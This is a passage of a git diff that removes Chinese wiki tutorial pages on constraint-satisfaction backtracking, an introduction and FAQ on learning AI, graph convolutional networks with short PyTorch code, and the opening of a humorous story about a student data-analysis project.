model):显示添加赋值如何改变变量。这没有什么深度:过渡模型返回包括最新动作后的赋值的状态。 -- 目标测试 (Goal test):检查所有变量是否被赋值,所有约束条件是否得到满足。 -- 路径成本函数 (Path cost function):所有路径的成本都是一样的。正如我们前面提到的,与典型的搜索问题相比,优化问题关心的是解决方案,而不是通往解决方案的路线。 - -然而,把约束满足问题作为一个普通的搜索问题来处理,是非常低效的。相反,我们可以利用约束满足问题的结构来更有效地解决它。 - -### 回溯搜索 (Backtracking Search) - -回溯搜索是一种考虑约束满足搜索问题结构的搜索算法。一般来说,它是一个递归函数,只要值满足约束,它就会尝试继续赋值。如果违反了约束,它将尝试不同的赋值。让我们看看它的伪代码: - -```python -function Backtrack(assignment, csp): - if assignment complete: - return assignment - var = Select-Unassigned-Var(assignment, csp) - for value in Domain-Values(var, assignment, csp): - if value consistent with assignment: - add {var = value} to assignment - result = Backtrack(assignment, csp) - if result ≠ failure: - return result - remove {var = value} from assignment - return failure -``` - -换句话说,如果当前赋值完成,则该算法返回当前赋值。这意味着,如果完成了算法,它将不会执行任何额外的操作,它只会返回已成立的赋值。如果赋值不完整,算法会选择任何尚未赋值的变量。然后,算法尝试为变量赋值,并对结果赋值再次运行回溯算法(递归)。然后,它检查结果值。如果不是失败,则表示赋值已完成,并且应返回此赋值。如果结果值失败,则删除最近的赋值,并尝试新的可能值,重复相同的过程。如果域中所有可能的值都返回失败,这意味着我们需要回溯。也就是说,问题出在之前的一些作业上。如果这种情况发生在我们开始使用的变量上,那么这意味着没有解决方案满足约束。 - -考虑以下行动方案: - -![4.3.4-11](https://cdn.xyxsw.site/4.3.4-11.png) - -我们从空赋值开始。然后,我们选择变量 A,并给它赋值`Mon`。然后,使用这个赋值,我们再次运行算法。既然 A 已经有了一个赋值,算法将考虑 B,并将`Mon`赋值给它。此赋值返回`false`,因此算法将尝试在`Tue`为 B 赋值,而不是在给定上一个赋值的情况下为 C 赋值。这个新的赋值满足约束条件,在给定这个赋值的情况下,下一步将考虑一个新的变量。例如,如果将`Tue`或`Wed`也赋值给 B 会导致失败,那么算法将回溯并返回到考虑 A,为其分配另一个值,即`Tue`。如果`Tue`和`Wed`也失败了,那么这意味着我们已经尝试了所有可能的赋值,该问题是无法解决的。 - -在源代码部分,您可以从头开始实现的回溯算法。然而,这种算法被广泛使用,因此,多个库已经包含了它的实现。 - -## 推理 (Inference) - -尽管回溯搜索比简单搜索更有效,但它仍然需要大量的算力。另一方面,满足弧一致性需要的算力较低。通过将回溯搜索与推理交织在一起(满足弧一致性),我们可以得到一种更有效的算法。该算法被称为“保持弧一致性”__(Maintaining Arc-Consistency)__ 算法。该算法将在每次新的回溯搜索分配之后满足弧一致性。具体来说,在我们对 X 进行新的赋值后,我们将调用`AC-3`算法,并从所有弧 (Y,X) 的队列开始,其中 Y 是 X 的邻居 (而不是问题中所有弧的队列)。以下是一个经过修订的 Backtrack 算法,该算法保持了弧的一致性。 - -```python -function Backtrack(assignment, csp): - if assignment complete: - return assignment - var = Select-Unassigned-Var(assignment, csp) - for value in Domain-Values(var, assignment, csp): - if value consistent with assignment: - add {var = value} to assignment # new here - inferences = Inference(assignment, csp) # new here - if inferences ≠ failure: - add inferences to assignment - result = Backtrack(assignment, csp) - if result ≠ failure: - return result - remove {var = value} and inferences from assignment # new here - return failure -``` - -Inference 函数运行 AC-3 算法,如前所述。它的输出是通过满足弧一致性可以做出的所有推断。从字面上看,这些是可以从以前的赋值和约束满足问题的结构中推导出来的新赋值。 - -还有其他方法可以提高算法的效率。到目前为止,我们随机选择了一个未分配的变量。然而,有些选择比其他选择更有可能更快地找到解决方案。这需要使用启发式方法。启发式是一条经验法则,这意味着,通常情况下,它会比遵循随机的方法带来更好的结果,但不能保证总是更优。 - -__最小剩余值 (Minimum Remaining Values(MRV))__ 就是这样一种启发式方法。这里的想法是,如果一个变量的域被推理限制了,现在它只剩下一个值 (甚至是两个值),那么通过进行这种赋值,我们将减少以后可能需要进行的回溯次数。也就是说,我们迟早要做这个赋值,因为它是从满足弧一致性中推断出来的。如果这项任务失败了,最好尽快发现,避免以后的回溯。 - -![4.3.4-12](https://cdn.xyxsw.site/4.3.4-12.png) - -例如,在给定当前赋值的情况下缩小变量的域后,使用 MRV 启发式,我们接下来将选择变量 C,并以 Wed 为其赋值。 - -__度 (Degree)__ 启发式依赖于变量的度,其中度是指将一个变量连接到其他变量的弧数。通过一次赋值选择度最高的变量,我们约束了多个其他变量,从而加快了算法的进程。 - -![4.3.4-13](https://cdn.xyxsw.site/4.3.4-13.png) - -例如,上面所有的变量都有相同大小的域。因此,我们应该选择一个度最高的域,它将是变量 E。 - -这两种启发式方法并不总是适用的。例如,当多个变量在其域中具有相同的最小值时,或者当多个变数具有相同的最高度时。 - -另一种提高算法效率的方法是,当我们从变量的域中选择一个值时,使用另一种启发式方法。在这里,我们使用 __最小约束值 (Least Constraining Values)__ 启发式,在这里我们选择将约束最少其他变量的值。这里的想法是,在度启发式中,我们希望使用更可能约束其他变量的变量,而在这里,我们希望这个变量对其他变量的约束最少。也就是说,我们希望找到可能是最大潜在麻烦源的变量 (度最高的变量),然后使其尽可能不麻烦 (为其赋值约束其他变量最少的值)。 - -![4.3.4-14](https://cdn.xyxsw.site/4.3.4-14.png) - -例如,让我们考虑变量 C。如果我们将`Tue`分配给它,我们将对所有 B、E 和 F 施加约束。然而,如果我们选择`Wed`,我们将只对 B 和 E 施加约束。因此,选择`Tue`可能更好。 - -总之,优化问题可以用多种方式来表述。在这,我们考虑了局部搜索、线性规划和约束满足。 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门.md deleted file mode 100644 index 241e0c3..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门.md +++ /dev/null @@ -1,22 +0,0 @@ -# 人工智能导论及机器学习入门 - -人工智能(Artificial Intelligence, AI)是机器,特别是计算机系统对人类智能过程的模拟。人工智能是一个愿景,目标就是让机器像我们人类一样思考与行动,能够代替我们人类去做各种各样的工作。人工智能研究的范围非常广,包括演绎、推理和解决问题、知识表示、学习、运动和控制、数据挖掘等众多领域。 - -## 人工智能、机器学习与深度学习关系 - -人工智能是一个宏大的愿景,目标是让机器像我们人类一样思考和行动,既包括增强我们人类脑力也包括增强我们体力的研究领域。而学习只是实现人工智能的手段之一,并且,只是增强我们人类脑力的方法之一。所以,人工智能包含机器学习。机器学习又包含了深度学习,他们三者之间的关系见下图。 - -![](https://cdn.xyxsw.site/AMU7bSgh4o8tEIxk82icvtbDn0c.png) - -## 如何学习本节内容 - -作者深知学习人工智能时面临许多繁碎数学知识,复杂数学公式的痛苦,因此,本节内容重在讲解核心概念和算法,略去了复杂的数学推导,尽可能以直觉的方式去理解,本文的数学知识,高中生足以掌握。阅读本节内容不需要人工智能基础,你可以直接从本节入门 AI。本节内容的算法、项目实现将使用 python 实现,需要掌握一定的 python 基础语法。当然如果你急于了解 AI,却又不会 python,没有关系,你可以选择跳过其中的编程部分,着眼于其中的概念、算法,程序语言是算法实现的工具,并非学习算法的必须品。 - -## 学习建议 - -本节内容是作者根据[哈佛的 CS50AI 导论](https://cs50.harvard.edu/ai/2020/)以及 [Andrew Ng 的机器学习专项课程](https://www.coursera.org/specializations/machine-learning-introduction)简化编写,当然你可以直接学习这两门课程。本节内容的总学习时间应该是二到三个月,如果你在某个知识点上卡住了,你也许需要反复阅读讲义,必要时向身边人求助。 - -## 补充材料 - -![4.3-0](https://cdn.xyxsw.site/4.3-0.jpg) -人工智能现代方法(第四版) diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ:常见问题.md b/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ:常见问题.md deleted file mode 100644 index cb04274..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ:常见问题.md +++ /dev/null @@ -1,57 +0,0 @@ -# FAQ:常见问题 - -## 我是非计算机专业的,感觉 AI 很火,可以看这篇内容吗 - -如果你不打算做相关研究的话,我觉得你最先应该考虑的是熟练掌握使用 AI 工具,本章内容更偏向于完善 AI 方面的知识体系架构 - -## 我对AI/CV/NLP/blabla研究方向很感兴趣可以看这篇内容吗? - -目前的本章节的内容的定位仍在引导大家有更广阔的视野,在引导的同时给大家正确的学习/思考模式。 - -因此如果你想学某个知识体系,可以参考本章内容的路线,但是若你有足够强大的能力可以直接应对国外课程体系的困难,那么我非常推荐你去直接看英文内容 - -因为我们在降低门槛的时候也一定程度上让各位损失了一定的训练,在概括的过程中,信息量被稀释了,抽象地描述也许更能让你 get 到一些思想性的内容 - -## 我数学不好可以学吗 - -可以。我将在教程的脉络中引入数学的相关内容,帮助你正确认识数学和 AI 技术的相关性。 - -并且我希望你阅读这些文章 - -- [数学不好可以学机器学习吗](https://machinelearningmastery.com/what-if-im-not-good-at-mathematics/) -- [没有数学专业背景和理解机器学习算法的 5 种技巧](http://machinelearningmastery.com/techniques-to-understand-machine-learning-algorithms-without-the-background-in-mathematics/) -- [我是如何学习机器学习的?](https://www.quora.com/Machine-Learning/How-do-I-learn-machine-learning-1) - -## 很多东西学校都没学 - -如果你完全依赖学校的进度,你可能一直都会有认为学校应该教但你没学到的东西 - -同时,这是一门前沿学科,学校学习的多数内容并不能达到掌握相关知识的要求。 - -你应该更多地依赖自己而不是学校 - -## [如果不是相关领域可以找到这个领域工作吗](https://www.quora.com/How-do-I-get-a-job-in-Machine-Learning-as-a-software-programmer-who-self-studies-Machine-Learning-but-never-has-a-chance-to-use-it-at-work) - -> “我正在为团队招聘专家,但你的 MOOC 并没有给你带来工作学习机会。我大部分机器学习方向的硕士也并不会得到机会,因为他们(与大多数工作)上过 MOOC 的人一样)并没有深入地去理解。他们都无法帮助我的团队解决问题。”Ross C. Taylor - -## 人工智能,深度学习,机器学习,数据分析,我该如何区分 - -人工智能包括机器学习 - -机器学习包括深度学习 - -![](https://cdn.xyxsw.site/boxcnBP4QHAJnXrNfOiK8hp6LIc.png) - -[同时向你推荐这个 Data Analytics,Data Analysis,数据挖掘,数据科学,机器学习,大数据的区别是什么?](https://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1) - -![](https://cdn.xyxsw.site/boxcnxPsUwwhcCC0zBerZ2s88ld.png) - -## 我没有任何相关概念 - -尝试阅读以下内容 - -- [形象的机器学习简介](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/) -- [菜鸟的机器学习基础](https://www.analyticsvidhya.com/blog/2015/06/machine-learning-basics/) -- [你如何向非计算机专业的人来解释机器学习与数据挖掘?](https://www.quora.com/How-do-you-explain-Machine-Learning-and-Data-Mining-to-non-Computer-Science-people) -- [在罩子下的机器学习,博文简单明了地介绍了机器学习的原理](https://georgemdallas.wordpress.com/2013/06/11/big-data-data-mining-and-machine-learning-under-the-hood/) -- [机器学习是什么?它是如何工作的呢?](https://www.youtube.com/watch?v=elojMnjn4kk&list=PL5-da3qGB5ICeMbQuqbbCOQWcS6OYBr5A&index=1) diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述(intro&GCN).md b/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述(intro&GCN).md deleted file mode 100644 index d9c441e..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述(intro&GCN).md +++ /dev/null @@ -1,266 +0,0 @@ -# 图网络略述(intro&GCN) - -> author:廖总 - -其实开始冲图神经网络也已经有一段时间了,从半年前阅览《Relational inductive biases, deep learning, and graph networks》一文,对图网络有了一定的了解,到现在已经过去半年了。然而这半年中我一直在摸鱼,就算偶尔复习图神经网络的方法,也一直在复习相同的工作。如今有幸受实验室隔座的兄弟邀请参与一个科研项目。比较尴尬的是,我除了自诩知晓图网络以外,对实际的操作与应用一无所知。我遂写下这篇文章,来昭示自己正式开始图网络的学习,并且尝试记录和融汇已知的知识点,不在浪费时间于重复的工作上。 - -首先,图网络是为什么产生的呢,通常,我们简略的称之为,方便表达结构化的知识,处理结构化的数据。这里的结构其实跟数据库及数据结构中描述的结构是相似的,即一种信息之间关联的结构,以及知识之间关联的结构。图拥有这样的特点,能通过节点来对实体进行描述,并用边描述实体之间的关系,与此同时还有着隐含信息的储存和全局信息的存在,于是构成了一个新颖且复杂的神经网络结构。 - -在周志华的机器学习一书半监督学习章节中,有对基本的图学习策略进行基本的描述,详见我为了应付课程考试整理的[图半监督学习](http://blog.cyasylum.top/index.php/2020/07/05/%E5%9B%BE%E5%8D%8A%E7%9B%91%E7%9D%A3%E5%AD%A6%E4%B9%A0/)。其基本思路是这样的,通过”样本距离度量“刻画获取样本之间的联系,将样本嵌入到“图”,即样本即其关系的集合中。后通过图将半监督学习中有标记样本的标签对未标记样本进行传递,从而获取未标记样本的属性,进行学习。 - -如此,便定下来图网络的基本思路,即通过*信息在图上的传递*,迭代学习知识。有了这样的基础,我们便可以开始对图网络进行讨论了。 - -接下来,我们从最基础的部分来讲讲,信息是如何在图上进行传播的。 - -## 消息传递 - -那么,消息是什么呢?在大多数时候,我们将消息理解为节点(但其实在特定场合,边或者全局信息都是可以或者需要考虑的),即“实体”包含的,要传递的信息。对于一个结构相对复杂的节点而言,假设其拥有 n 个属性,我们便用一个 n 维的向量(或是其他什么)$\mathbf{x}$表示节点中储存的信息。然后,节点上的信息要怎么传递呢? - -答案必然是通过节点之间的连接。 - -在离散数学中,我们使用邻接矩阵来刻画图上所有节点之间的联系,即 Adjacency Matrix,记作$\mathbf{A}$。在不考虑边权重的情况下,我们将存在节点$x_{i},x_{j}$之间的联系表示为$A_{ij}=1$,在存在权重的情况下,我们将$A_{ij}$的值记作两节点之间边的权重。值得注意的是,$\mathbf{A}$对角线上的值,即节点之间自连接的系数,在不做考虑自连接时都被记作 $0$ 。 - -另外,我们特殊定义节点的度为该点所有连接权重之和,即$D_i=\sum_{j=0}^n A_{ij} $,使用对角矩阵$\mathbf{D}=diag(D_1,D_2,\cdots,D_n)$进行统一描述。 - -如此,我们便通过了两个矩阵刻画了一张图上所有节点之间的传递关系。为了方便计算,以及因为种种特性,一张图最终的传递特性,被描述成了拉普拉斯矩阵$\mathbf{L}=\mathbf{D}-\mathbf{A}$。 - -我们通过拉普拉斯矩阵 $L$ 来考虑图上的消息传递特性。 - -同时,我们可以理解为,拉普拉斯矩阵描述了图的结构。 - -## 归一化拉普拉斯矩阵 - -为了方便拉普拉斯矩阵在机器学习等众多需要迭代求解问题中的实际使用,我们要求对拉普拉斯矩阵进行归一化操作,从而避免在多次传递后导致的梯度爆炸和梯度消失。我们需要令其对角线上元素统一等于 1。 - -我们已知的是,主对角线上的元素只会同 -$D$矩阵有关,因此,我们引入了 -$\mathbf{D}^{-\tfrac{1}{2}}$ 作为归一化算子,令归一化拉普拉斯矩阵为 - -$$ -\mathbf{L}^{sym} -=\mathbf{D}^{-\frac{1}{2}} -\mathbf{L}\mathbf{D}^{-\frac{1}{2}} -=\mathbf{I}-\mathbf{D}^{-\frac{1}{2}} -\mathbf{A}\mathbf{D}^{-\frac{1}{2}} -$$ - -$$ -L_{ij}^{sym}= -\begin{cases} -1 \quad\quad\quad\quad\quad\quad\quad\enspace\thinspace \left ( i=j\right ) \cup \left ( deg(v_i)\ne0 \right ) \\ --\frac{1}{\sqrt{deg(v_i)deg(v_j)}} \qquad \left ( i\ne j \right ) \cup \left ( v_i adj v_j \right ) \\ -0 \quad\quad\quad\quad\quad\quad\quad\;\;\; else. -\end{cases} -$$ - -现在,我们可以尝试用$\mathbf{L}$对图进行表示了。 - -另外还有个*随机游走归一化拉普拉斯矩阵* -$$ -\mathbf{L}^{sym}=\mathbf{D}^{-1}\mathbf{L}=\mathbf{I}-\mathbf{D}^{-1}\mathbf{A} -$$ - -,不过我还不熟,暂时不管了。 - -## 图的频域表示 - -其实挺意外的,早在去年的这个时候,我也考虑过这个问题。对图像的矩阵进行奇异值分解,通过切除部分奇异值,我们可以对图像中的低频和高频信息进行定量的剪切,使得减少储存信息的同时不丢失大部分画质。这样的特性是不是同信号的频域分析,即傅里叶变换有着相似之处。当时的我寻遍了全网,并没有得到什么结果。而如今,我在做图的谱分析。 - -为了直观地对描述信号传播的图进行直观的“卷积滤波(需要注意的是,这里的卷积就不是图像意义上的卷积了,而是信号意义的卷积。但是在实际运用中图的卷积表示的也是信号在相邻图节点上的传播,这又与图像的卷积有着异曲同工之妙,那么新的问题来了,信号卷积和图像卷积是否也存在着什么物理层面上的联系?)”我们通过特征分解,获取图的“频谱”,从这边开始,便是 Spectral Graph Convolution 的思想了。 - -我们将 L 矩阵进行特征分解,有$\mathbf{L}=\mathbf{U}\boldsymbol{\Lambda}\mathbf{U}^\mathsf{T}$,其中特征值描述的是图像的频谱强度,而特征向量描述了分解的基底,即频率,对应频谱分析中的$e^{-j\omega t}$。 - -于是,我们考虑滤波和滤波器,我们设计$g\theta=diag(\theta)$,有滤波器改变了基底上信号的强度,即有$g\theta(\Lambda)$为特征值的函数。我们有$g\theta$在图$\mathbf{L}$上对输入信号$x$的卷积等于$g\theta$、$x$在频域相乘: -$g\theta\star -x=\mathbf{U}g\theta\mathbf{U}^\mathsf{T}x -$ - -如此,我们完成了在图神经网络上进行分析的基础。 - -但是在实际问题下,这样的图是极难计算的,当我们的节点规模较大时,对 N^2^ 规模的图进行矩阵分解,并且进行多次矩阵乘法需要消耗极大的资源,这使得图网络很难运行。因此纵使图网络有着其特殊的性质,其热度一直不是很高。 - -## ChebNet 及其思考 - -ChebNet 的引入是当今神经网络大热门的开端,也是图卷积网络的基础。其思路为,使用切比雪夫多项式对卷积过程 K 阶拟合 ([参考](https://zhuanlan.zhihu.com/p/138420723)) - -ChebNet 假设$g\theta$对$\Lambda$的滤波结果是原始特征值多项式函数,而网络的目的是抛弃原本通过矩阵相乘来对卷积结果进行求解,而通过参数学习来对结果进行表示,给出下式 - -$$ -g\theta(\Lambda)=\sum_{k=0}^K \beta_kT_k(\hat{\Lambda})=\begin{pmatrix} -\begin{matrix}\sum_{k=1}^K \beta_kT_k(\hat{\lambda_1})\end{matrix}\\ -&\cdots\\ -&&\begin{matrix} \sum_{k=1}^K \beta_kT_k(\hat{\lambda_n})\end{matrix} -\end{pmatrix} -$$ - -其中有切比雪夫多项式在矩阵上的表示,具体数学背景可以详细查看 - -$$ -T_0(L) = I\ T_1(L)=L\ T_{n+1}(L)=2LT_n(L) - T_{n-1}(L) -$$ - -有$\beta_k$为网络的待学习参数 - -我们将原式 -$$ -g\theta\star -x=\mathbf{U}g\theta\mathbf{U}^\mathsf{T}x -$$ - -表示为拟合形式 -$$ -\mathbf{U} -\begin{matrix} \sum_{k=0}^K \beta_kT_k(\hat{\Lambda}) -\mathbf{U}^\mathsf{T}x -\end{matrix} -$$ -并对其中无关输入信号 $x$ 的部分进行改写 - -$$ -\mathbf{U}\begin{matrix}\sum_{k=0}^K -\beta_kT_k(\hat{\Lambda}) -\mathbf{U}^\mathsf{T} -\end{matrix} -$$ - -$$ -=\begin{matrix} \sum_{k=0}^K -\mathbf{U}\beta_k(\begin{matrix}\sum_{c=0}^k\alpha_{kc}\hat{\Lambda^k} -\end{matrix}\mathbf{U}^\mathsf{T}) -\end{matrix} -$$ -$$ -=\begin{matrix} \sum_{k=0}^K\beta_k(\begin{matrix}\sum_{c=0}^k\alpha_{kc}(\mathbf{U}\hat{\Lambda} -\mathbf{U}^\mathsf{T})^k -\end{matrix}) -\end{matrix} -$$ -$$ -=\begin{matrix} \sum_{k=0}^K\beta_kT_k(\mathbf{U}\hat{\Lambda} -\mathbf{U}^\mathsf{T}) -\end{matrix} -$$ -$$ -=\begin{matrix} \sum_{k=0}^K\beta_kT_k(\hat{\mathbf{L}}) -\end{matrix} -$$ - -其中 -$$ -\hat{\mathbf{L}}=\frac{2}{\lambda_{max}}\mathbf{L}-\mathbf{I}_N -$$ - -于是我们获得了 -$$ -g\theta\star -x -=\mathbf{U}g\theta\mathbf{U}^\mathsf{T}x -=\begin{matrix} -\sum_{k=0}^K\beta_kT_k -(\hat{\mathbf{L}})x -\end{matrix} -$$ - -作为 ChebNet 的卷积结构 - -其中值得注意的一点是,ChebNet 的 K 值限制了卷积核的多项式次数,但是这里的多项式次数描述了什么呢?其实就是卷积的“范围”,即单次卷积内最高可获得的 K 阶相邻节点信息。在 K=n 的时候,我们从理论上可以通过单次卷积,获取一张连通图上所有结点的信息,而这也是原方法难以计算的根本原因。 - -到这里为止,我介绍了 2018 年 GCN 出现之前图网络的基本使用,并给出了对图网络的基本认知,于是,我们拥有了相对充分的工具去认识图网络近期的发展,以及更深层次的使用。 - -## Graph Convolutional Networks - -前面谈论的都是基于图传播的方法以及理论基础,之后才是图神经网络(GNN)相关的内容,即我们需要将一个抽象的图的概念存入实际的数据结构,并考虑其在实际数据上的应用,好吧换句话来说就是开始抄论文。 - -## 设计思考 - -GCN 是典型的依靠消息传递进行迭代的网络,并通过对图卷积谱的线性逼近,其实就是只考虑相邻元素的线性组合,从而达到单层参数的最小化,使得 GCN 的深度构建成为可能。同时,一阶的拟合表示图卷积神经网络在单次卷积迭代中,仅考虑邻域的信息,这使得 GCN 在物理直觉上产生了与 CNN 的相似之处。我们可以发现,GCN 中的 Convolutional 是图的频谱卷积和图的邻域卷积的融合。即表现出了多种层面的滤波特性。也许正是如此,使得 GCN 有着如此好的表现。 - -## 数学表示 - -### 卷积层 - -### 原典 - -之前我们引入的是图传播特性的建模,而现在我们需要考虑一次实际的迭代如何在图上进行。 - -我们通常考虑输入的参数与节点的隐含状态,作为网络的隐含层,即 ℎ,我们需要在每一轮迭代中对每个节点的状态进行更新,从而达到端对端训练的可能性。因此我们要确定隐含状态的更新模式,如下展示: - -$$ -\mathbf{h}_i^{l+1}=\sigma(\mathbf{W}_0^{(l)\mathsf{T}}\mathbf{h}_i^{(l)}+ -\begin{matrix} -\sum_{j\in\mathcal{N}_i}c_{ij}\mathbf{W}_1^{(l)\mathsf{T}}\mathbf{h}_j^{l}+\mathbf{b}_0^{(l)} -\end{matrix} -) -$$ - -### 归一化单参数 - -在实际场景中,减少了网络的参数,并对传播进行了重新的归一化 - -$$ -\mathbf{H}^{(l+1)}=\sigma(\tilde{\mathbf{D}}^{-\frac{1}{2}}\tilde{\mathbf{A}}\tilde{\mathbf{D}}^{-\frac{1}{2}}\mathbf{H}^{(l)}\mathbf{W}^{(l)}) -$$ - -其中 -$$ -\tilde{\mathbf{A}}=\mathbf{A}+\mathbf{I}_N,\tilde{D}_i -=\begin{matrix} -\sum_j\tilde{A}_{ij} -\end{matrix} -$$ - -作为传播的预处理部分,由此得到了 GCN 的完整数学表示。 - -### 损失函数 - -文中针对半监督节点分类问题设计了一下目标函数,仅对有监督部分设计交叉熵损失,有: - -$$ -\mathcal{L}_{sup} -=-\begin{matrix} -\sum_{l\in\mathcal{y}_L} -\end{matrix} -\begin{matrix} -\sum_{\mathcal{f}=1}^{d_{out}}\gamma_{l,f}\ln -Z_{l,f} -\end{matrix} -$$ - -其中 γ 为指示变量,表示蒸馏分类正确类的交叉熵损失。 -$$ -\mathbf{Z}=f(\mathbf{X},\mathbf{A}) -$$ - -为预测结果。即我们希望正确分类下类可能性的最大化。 - -## 代码实现 - -归一化步骤 - -```python -def norm(A): - A = A + torch.eye(A.size(0)) - d = torch.sum(A, dim=1) - D = torch.diag(d) - - return torch.pow(D,-0.5).mm(A).mm(torch.pow(D,-0.5)) -``` - -GCN 本体 - -```python -class GCN(nn.Module): - def __init__(self, A, din, hidden, dout): - super(GCN, self).__init__() - self.A = norm(A) - self.gcn1 = nn.Linear(din, hidden, bias=True) - self.gcn2 = nn.Linear(hidden, dout, bias=True) - def forward(self, X): - X = F.relu(self.gcn1(self.A.mm(X))) - X = self.gcn2(self.A.mm(X)) - return X -``` - -### 测试方法 - -参考 dgl 的[使用教程](https://docs.dgl.ai/tutorials/basics/1_first.html) diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析.md b/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析.md deleted file mode 100644 index d2de726..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析.md +++ /dev/null @@ -1,233 +0,0 @@ -# 数据科学 - -author:zzm - -## 本章内容会从一个小故事开始 - -讲讲某个人在大一的悲惨经历来为大家串起来一个精简的数据科学工作包括了哪些步骤,同时给各位介绍一些优质的教程 - -同时,这章内容将详细阐述与人合作的生死疲劳 - -## 悲惨世界 - -::: danger 若有雷同,纯属瞎编~~根据真实事件改编 - -后人哀之而不鉴之,亦使后人而复哀后人也! - -请欣赏小故事的同时,根据自己的需求选择自己想学的教程 - -::: - -### Day1 - -你是一个可怜的大一学生,学校的短学期的第一天,你的心情非常好,因为要放寒假了,只要再坚持过这个短学期,你的快乐假期要来了!什么是短学期?不知道啊,也没听学长说过,好像是新研究出来的一个课程,去试试看吧。 - -当你快乐的走进教室,老师告诉你:“你们看看 PPT 上的任务,自由选择啊!” - -你看到 PPT 上赫然印着 -::: tip 任务目标 -基础系统: - -1. 淘宝客户价值分析系统,实现爬取数据,数据处理,数据分析。 -2. 二手房数据分析预测系统,实现爬取数据,数据分析,绘制图表。 -3. 智能停车场运营分析系统,实现爬取数据,数据分析,绘制图表。 -4. 影视作品分析系统,实现爬取数据,数据分析,绘制图表。 - -升级系统: - -1. 利用爬虫理论,实现 12306 抢票小助手系统。 -2. 利用数据分析方法,实现淘宝商品排行分析。 -3. 利用爬虫原理,爬 Google 搜索引擎分析。” -要求实现三项以上的功能模块或三种以上的特征分析或提取。 - -::: - -心中一惊,暗道不妙,这都什么玩意,怎么还有爬谷歌,淘宝和抢 12306 的票啊,这 tm 不是犯法的么!这我要能做出来我还上什么大一的学啊!🥺🥺🥺🥺 - -老师紧接着补充“十个人一组啊!一周内做完,数据自己想办法,第三天就要检查你们的进度了!” - -这是你倒是暗暗松了一口气,好像十个人一起干也没有那么复杂!😎(这时正是愚昧之峰,错误的认为工作总量就是工作量除以十)迅速的组好队之后,你问了问大伙的进度,what?大伙都没有 python 基础,只有我有?幸好学了 hdu-wiki 和 datawhale 的[聪明方法学 python](https://github.com/datawhalechina/learn-python-the-smart-way) - -那就把教程分给大伙吧,我们选一个最简单的,二手房数据的分析系统好了! - -第一天选好题了,又是大下午的,摆了摆了,你开心的打开电脑,打开了 steam,开摆! - -day 1 End!🤣 - -### Day 2 - -昨天真是美滋滋的一天,玩了一晚上的你有点头昏脑涨,今天就开始干活好了,反正一周时间呢,比期末复习周可长太多了,就做这么个玩意我还能做不出来吗? - -虽然你没有学过爬虫,但是你很幸运的找到了 github 上一个现成的爬虫代码,虽然费了一翻力气,但是仍然躲过了某房价网站的爬虫,他成功爬下来了,我们就把他存在哪里呢?~~(爬虫待补充) - -先试试 excel 好了,毕竟这是大家最耳熟能详的存表格的方法,但是你貌似没有深入了解过他,打开了 datawhale 的[free-excel](https://github.com/datawhalechina/free-excel),你才惊讶的发现,wow,原来他有这么多牛逼的功能啊!它除了可以将房价统计,找到它的平均价格,算出他的最高价格之类以外,竟然也可以把他可视化!甚至它还可以对房价进行多元分析!根据房屋数量面积地段等等因素帮你预测房价,甚至可以自动帮你检索和去除重复数据,实在是太好用啦! - -当然,这只是一个理想状态,残酷的现实很快给你当头一棒!当你试着多爬点不同城市数据的时候,他崩了!这么脆弱的吗?!干点活就喊累的吗?!😨 - -当然你想起了有一个备用方案,好像你可以用数据库去存储他! - -之前好像看到有一个教程叫做[wonderful-sql](https://github.com/datawhalechina/wonderful-sql?from=from_parent_mindnote) - -他提到“随着社会的快速发展,各类企业数字化转型迫在眉睫,SQL 应用能力日趋重要。在诸多领域中 SQL 应用广泛,数据分析、开发、测试、维护、产品经理等都有可能会用到 SQL,而在学校里系统性讲授 SQL 的课程较少,但是面试及日常工作中却经常会涉及到 SQL。” - -确实学校没有教过,但是幸好你有教程,折腾了一翻之后,你发现你对数据库有了更深的理解,他帮助了我们在容纳大量的多种不同的数据形式的时候不用专门去考虑怎么设计一个数据结构而是规划了一定的存储方法后全部塞给他,完全不用考虑具体的物理性的以及性能问题存储模式,并且他很多高级的功能可以帮助你便捷的把数据组织成一般情况下难以到达的形式,他的底层设计被严格的包装起来让你在进行数据增删改查的时候都又快又好。 - -并且它可以非常方便的存一些 excel 不好存的所谓的非结构化的数据,比如说图像等等,并且他不会动不动就喊累!处理几十万条也是一下子! - -当然同时你也了解到,你所用的是关系型数据库,是老东西了,目前还有很多较为前沿的非关系型数据库,例如 MongoDB(这玩意什么都能存,比如说地图),Neo4j(像一张蜘蛛网一样的结构,图)等等,他们不用固定的表来存储,可以用图存或者键值对进行存储,听起来好像非常的高级,不过你暂时用不到,数据搞都搞下来了,量也够了,是时候看看队友做到哪了?说不定后面你都不用做了,已经做的够多够累的了! - -什么?!刚开始学 python?!woc! 完蛋,你逐渐来到了绝望之谷,唉!明天继续做吧!看来休息不了了。 -day 2 End 😔! - -### Day 3 - -God!No! 昨天已经够累的了,今天老师还要讲课,还要早起!你期待着老师可以降低要求,可是当老师托起长音,讲起了他知道了学生的累,所以今天决定开始讲课了!(现在讲有毛用啊,你明天就要验收我们的进度了!) - -而他却慢悠悠的开始讲 python 的历史,把这点内容讲了足足两节课,你终于绷不住了,本来时间就不够,他竟然又浪费了你足足一早上的时间!这也太该死了!🤬 - -你回到了寝室,准备今天争取数据分析完就直接交上去好了! - -可是你发现了一个让你震惊的噩耗!你找到的数据,是混乱的!😱 - -这个野鸡房价网站每个城市的排版不一样,你爬虫爬取的完全是按照顺序标的,也就是说你爬取的所有房价信息处于混沌状态!完全就相当于给每个房子爬了一段句子的描述! - -没有办法了,看来今天有的折腾了,你找到了一个叫 